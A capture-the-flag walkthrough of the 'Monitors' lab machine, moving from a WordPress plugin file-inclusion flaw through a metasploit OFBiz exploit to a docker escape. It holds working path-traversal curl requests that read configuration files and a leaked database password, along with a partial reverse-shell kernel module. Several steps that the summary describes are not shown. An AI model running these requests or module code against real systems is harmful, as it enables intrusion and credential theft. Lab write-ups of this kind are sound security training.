Monitors was a Hard difficulty Linux box created by TheCyberGeek. Initial foothold on the box was to find a vulnerable wordpress plugin with a LFI, using which we can read file descriptor and read apache logs. From the logs we get a new subdomain (Host) on the box for cactic, Also using the LFI we can read wp-configs.php which contained a credentials. Using Credentials Spraying we find that is the admin Credentials for cactic. Checking the Version for exploits we find that version of cactic is Vulnerable to SQLi which can be converted to RCE. Using which we get a shell on the box as www-data. Enumerating the box we find a service from crontab, following that we find credential for the user of the box. Enumerating the box as user marcus we see a notes.txt in his home directory. Following that hint we find a weird local only service running. port forwarding that service we discover that is an apache ofbiz. Trying a msf module for that give us a root shell in an docker container. Enumerating that we see we have CAP_SYS_MODULE capability and following Hacktrick docker escape we can get a root shell on the box.
Initial Enumeration
nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
# Nmap 7.91 scan initiated Sun Apr 25 15:57:04 2021 as: nmap -sC -sV -oN nmap/monitors 10.129.7.173 Nmap scan report for 10.129.7.173 Host is up (0.17s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA) | 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA) |_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Apr 25 15:57:19 2021 -- 1 IP address (1 host up) scanned in 15.69 seconds
Lets start with Web Enumeration
seeing that direct ip access is not allowed and we getting an email admin@monitor.htb we add monitor.htb in our host file and access the page again
Wordpress
Opening monitor.htb we see that it is a Wordpress website
Lets enumerate this more with wpscan and manually.
$ curl http://monitor.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../var/www/wordpress/wp-config.php <SNIP> /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' );
/** MySQL database username */ define( 'DB_USER', 'wpadmin' );
/** MySQL database password */ define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
/** MySQL hostname */ define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); <SNIP>
Lets enumerate /proc/self/fd/ to find anything interesting file descriptors
$ curl http://monitor.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../proc/self/fd/7 <SNIP> [Thu Feb 04 14:15:23.408966 2021] [php7:error] [pid 43318] [client 10.10.14.2:45172] script '/usr/share/cacti/user_admin.php' not found or unable to stat [Thu Feb 04 14:15:31.538925 2021] [php7:error] [pid 43324] [client 10.10.14.2:45174] script '/usr/share/cacti/user_admin.php' not found or unable to stat [Thu Feb 04 14:16:08.699032 2021] [php7:error] [pid 43312] [client 10.10.14.2:45180] script '/usr/share/cacti/user_admin.php' not found or unable to stat [Thu Feb 04 14:17:03.865183 2021] [php7:error] [pid 43323] [client 10.10.14.2:45182] script '/usr/share/cacti/user_admin.php' not found or unable to stat [Thu Feb 04 14:17:35.147503 2021] [php7:error] [pid 41798] [client 10.10.14.2:45184] script '/usr/share/cacti/user_admin.php' not found or unable to stat
also checking the cert we see a hint as ofbiz in the certificate name
From this i googled around ofbiz exploit and found one in metasploit
Using which i got a shell in the container
Docker Escape
Checking linux capability on the box we see we have CAP_SYS_MODULE with capsh --print
1 2 3 4 5 6 7 8 9 10 11
$ capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 secure-noroot: no (unlocked) secure-no-suid-fixup: no (unlocked) secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=
Checking Hacktrick we see we can use CAP_SYS_MODULE to escape docker so I uploaded the
1 2 3 4 5 6 7 8
obj-m +=reverse-shell.o
all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
// call_usermodehelper function is used to create user mode processes from kernel space static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); }
